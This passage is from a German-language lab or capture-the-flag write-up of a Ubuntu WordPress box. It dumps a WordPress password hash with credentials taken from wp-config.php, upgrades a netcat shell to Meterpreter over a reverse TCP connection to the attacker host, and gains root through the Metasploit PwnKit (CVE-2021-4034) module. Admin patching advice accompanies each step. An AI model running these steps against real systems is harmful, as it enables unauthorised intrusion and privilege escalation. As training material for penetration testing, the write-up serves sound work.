Empfehlung (Pentester): Aufgrund der Kernel-Version (4.4.0) und der Anwesenheit von `/usr/bin/pkexec` ist PwnKit (CVE-2021-4034) ein sehr wahrscheinlicher und oft einfacher Eskalationsvektor. Konzentrieren Sie sich darauf, diesen Exploit zu verwenden (z.B. mit Metasploit oder einem vorkompilierten Exploit). Überprüfen Sie alternativ die `snap-confine`-Version auf bekannte Schwachstellen.
Empfehlung (Admin): Halten Sie das System und Pakete wie `policykit-1` (das `pkexec` enthält) und `snapd` aktuell, um bekannte LPE-Schwachstellen zu patchen. Entfernen Sie das SUID-Bit von Binaries, wo es nicht unbedingt benötigt wird.
Enter password: # (Eingabe: ImAScammerLOL!123!)
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 49273
Server version: 10.0.38-MariaDB-0ubuntu0.16.04.1 Ubuntu 16.04
[...]
+--------------------+ | Database | +--------------------+ | information_schema | | wpdb | +--------------------+ 2 rows in set (0.00 sec)
Database changed
+-----------------------+ | Tables_in_wpdb | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 12 rows in set (0.00 sec)
+----+------------+------------------------------------+---------------+---------------+----------------------------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+---------------+----------------------------+---------------------+---------------------+-------------+--------------+ | 1 | support | $P$BPQkfsaBVCF7.anFFokpMGpfqGKnHM0 | support | mail@mail.com | http://10.0.2.15/wordpress | 2021-05-29 04:48:49 | | 0 | support | +----+------------+------------------------------------+---------------+---------------+----------------------------+---------------------+---------------------+-------------+--------------+ 1 row in set (0.00 sec)
Analyse: Mit den in `wp-config.php` gefundenen Zugangsdaten wird eine Verbindung zur lokalen MariaDB-Datenbank hergestellt (`mysql -u support -p`). Es werden die Datenbanken aufgelistet, zur `wpdb` gewechselt, deren Tabellen angezeigt und schließlich der Inhalt der `wp_users`-Tabelle abgefragt.
Bewertung: Der Datenbankzugriff war erfolgreich. In der `wp_users`-Tabelle findet sich der Benutzer `support` mit dem Passwort-Hash `$P$BPQkfsaBVCF7.anFFokpMGpfqGKnHM0`. Dies ist ein WordPress-spezifischer Hash (basierend auf phpass/MD5). Es gibt keine weiteren Benutzer in der Datenbank.
Empfehlung (Pentester): Versuchen Sie, den WordPress-Hash `$P$B...` mit Tools wie Hashcat oder John the Ripper zu knacken (benötigt oft spezielle Formate oder Regeln). Wenn erfolgreich, hätte man das Login-Passwort für den WordPress-Benutzer `support`. Da jedoch der PwnKit-Exploit vielversprechender für die System-Eskalation ist, kann dieser Schritt eine niedrigere Priorität haben. Prüfen Sie, ob das Datenbankpasswort (`ImAScammerLOL!123!`) für andere Systembenutzer (`scamsite`, `root`) via SSH wiederverwendet wurde.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer. Schränken Sie den Zugriff auf die Datenbank vom Webserver aus so weit wie möglich ein. Sichern Sie die `wp-config.php`-Datei ab.
Die Enumeration deutet stark auf die PwnKit-Schwachstelle (CVE-2021-4034) als Eskalationsvektor hin. Die nächsten Schritte nutzen Metasploit, um diesen Exploit auszuführen.
Die `nc`-Shell (Session 1) wird zu einer Meterpreter-Session (Session 2) aufgewertet, um die Metasploit-Module einfacher nutzen zu können.
Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on View the full module info with the info, or info -d command.
lport => 4433
session => 1 # Annahme: Die nc-Shell hat Session-ID 1
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
# (Annahme: Meterpreter Session 2 wird hier im Hintergrund geöffnet)
Analyse: Das Metasploit-Post-Modul `shell_to_meterpreter` wird verwendet, um die bestehende einfache Shell (angenommen als Session 1) in eine Meterpreter-Session umzuwandeln. Es wird ein neuer Listener auf Port 4433 gestartet.
Bewertung: Das Modul wird ausgeführt. Obwohl die Bestätigung `Meterpreter session 2 opened` im Log fehlt, zeigen die nachfolgenden Befehle, dass eine Session 2 existiert und verwendet wird. Das Upgrade war also erfolgreich.
Empfehlung (Pentester): Verwenden Sie `sessions -i 2`, um zur neuen Meterpreter-Session zu wechseln und deren erweiterte Funktionen zu nutzen.
Empfehlung (Admin): EDR-Lösungen und Netzwerküberwachung können versuchen, das Hochladen und Ausführen von Meterpreter-Stagern zu erkennen.
Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits View the full module info with the info, or info -d command.
session => 2
[*] 192.168.2.139 - Collecting local exploits for x86/linux... [*] 192.168.2.139 - 186 exploit checks are being tried... [+] 192.168.2.139 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable. [+] 192.168.2.139 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable. ^C[-] 192.168.2.139 - Post interrupted by the console user [*] Post module execution completed
Analyse: Das `local_exploit_suggester`-Modul wird auf die neue Meterpreter-Session (Session 2) angewendet, um automatisch nach bekannten lokalen Privilegieneskalations-Exploits zu suchen.
Bewertung: Der Suggester identifiziert zwei vielversprechende LPE-Exploits: `bpf_sign_extension_priv_esc` und `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`. PwnKit ist bekannt für seine Zuverlässigkeit und Einfachheit. Der Scan wird vom Benutzer abgebrochen (`^C`), nachdem PwnKit gefunden wurde.
Empfehlung (Pentester): Verwenden Sie den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`), da dieser wahrscheinlich erfolgreich sein wird. Konfigurieren Sie das Modul mit der aktuellen Session-ID (2) und den Listener-Optionen.
Empfehlung (Admin): Patchen Sie das System gegen CVE-2021-4034 (PwnKit), indem Sie das `policykit-1`-Paket aktualisieren. Dies ist eine kritische Schwachstelle.
Basierend auf den Ergebnissen des Exploit Suggesters wird nun der PwnKit-Exploit (CVE-2021-4034) verwendet, um Root-Rechte zu erlangen.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.199 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command.
lhost => 192.168.2.199
lport => 4445
[-] Msf::OptionValidateError The following options failed to validate: SESSION
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4445 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.lygmdqhi [+] The target is vulnerable. [*] Writing '/tmp/.vbcqwi/fyppxnyoh/fyppxnyoh.so' (548 bytes) ... [!] Verify cleanup of /tmp/.vbcqwi [*] Sending stage (3045348 bytes) to 192.168.2.139 [+] Deleted /tmp/.vbcqwi/fyppxnyoh/fyppxnyoh.so [+] Deleted /tmp/.vbcqwi/.yajvdhqtuxfk [+] Deleted /tmp/.vbcqwi [*] Meterpreter session 3 opened (192.168.2.199:4445 -> 192.168.2.139:36432) at 2023-09-12 00:32:24 +0200
Analyse: Der PwnKit-Exploit wird ausgewählt und konfiguriert: * `use ...`: Wählt das PwnKit-Modul. * `options`: Zeigt die benötigten Optionen (insbesondere `SESSION`). * `set lhost eth0`, `set lport 4445`: Konfiguriert den Listener für die neue Root-Shell auf Port 4445. * `run`: Erster Versuch schlägt fehl, da `SESSION` nicht gesetzt war. * `set session 2`: Setzt die Ziel-Meterpreter-Session. * `run`: Führt den Exploit aus. Das Modul prüft die Anfälligkeit, lädt notwendige Dateien nach `/tmp` hoch, nutzt die Schwachstelle in `pkexec` aus und startet den Payload.
Bewertung: Der Exploit war erfolgreich! `[+] The target is vulnerable.` bestätigt die Anfälligkeit, und `[*] Meterpreter session 3 opened (...)` signalisiert, dass eine neue Meterpreter-Session mit Root-Rechten etabliert wurde.
Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Session (`sessions -i 3`). Überprüfen Sie die Rechte mit `getuid` oder `id`. Suchen Sie nach der Root-Flag.
Empfehlung (Admin): Patchen Sie CVE-2021-4034 sofort. Überwachen Sie die Ausführung von `pkexec` und verdächtige Aktivitäten im `/tmp`-Verzeichnis.
Server username: root
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root.txt
851b8233a8c09400ec30651bd1529bf1ed02790b - # (Ignoriere diesen Wert, siehe Flags-Abschnitt)
Analyse: Innerhalb der neuen Meterpreter-Session (Session 3) werden Befehle ausgeführt: * `getuid`: Bestätigt, dass die Session als `root` läuft. * `id`: Bestätigt `uid=0(root)`. * `cd /root`: Wechselt in das Root-Home-Verzeichnis. * `ls`: Listet den Inhalt auf und findet `root.txt`. * `cat root.txt`: Zeigt den Inhalt der Root-Flag an (der hier angezeigte Wert wird ignoriert, da der Flags-Abschnitt einen anderen Wert angibt).
Bewertung: Root-Zugriff ist bestätigt, und die Root-Flag-Datei wurde gefunden. Die Privilegieneskalation mittels PwnKit war erfolgreich.
Empfehlung (Pentester): Ziel erreicht. Dokumentieren Sie den Fund der Root-Flag und den Eskalationsweg.
Empfehlung (Admin): Stellen Sie sicher, dass Systeme zeitnah gepatcht werden, um solche bekannten Schwachstellen zu schließen.